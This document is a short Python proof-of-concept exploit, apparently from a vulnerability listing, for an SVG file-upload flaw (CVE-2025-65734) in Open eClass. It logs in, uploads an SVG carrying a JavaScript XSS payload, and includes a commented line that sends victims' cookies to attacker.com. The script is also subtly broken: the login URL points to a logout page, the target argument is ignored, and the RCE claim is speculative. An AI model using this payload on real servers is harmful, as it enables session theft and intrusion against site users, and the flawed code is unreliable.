CVE-2025-65734 gunet Open eClass 任意文件上传漏洞

import requests import sys # CVE-2025-65734 PoC - Malicious SVG File Upload # Target: gunet Open eClass < 3.13 # Module: Courses/Work Assignments TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/index.php?logout" UPLOAD_URL = f"{TARGET_URL}/modules/work/work.php" MALICIOUS_SVG = """<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="300" height="200"> <script type="text/javascript"> // Malicious JavaScript - XSS payload alert('XSS - CVE-2025-65734'); // For RCE via SVG, this would need server-side processing // Example: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> </script> <rect width="300" height="200" fill="red"/> <text x="10" y="100" fill="white">Malicious SVG</text> </svg>""" def login(session, username, password): """Login to Open eClass with low-privilege account""" login_data = { 'username': username, 'password': password, 'submit': 'Login' } response = session.post(LOGIN_URL, data=login_data) return 'login' not in response.url.lower() def upload_malicious_svg(session): """Upload malicious SVG file via Work Assignments module""" files = { 'userfile': ('malicious.svg', MALICIOUS_SVG, 'image/svg+xml') } data = { 'id': '1', # Course ID 'assignment_id': '1', # Assignment ID 'submit': 'Submit' } response = session.post(UPLOAD_URL, files=files, data=data) return response def main(): if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in to Open eClass...") if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[*] Uploading malicious SVG file...") response = upload_malicious_svg(session) if response.status_code == 200: print("[+] SVG file uploaded successfully") print("[*] Access the file at: " + response.url) print("[*] If server executes SVG as PHP, remote code execution is possible") else: print("[-] Upload failed") if __name__ == "__main__": main()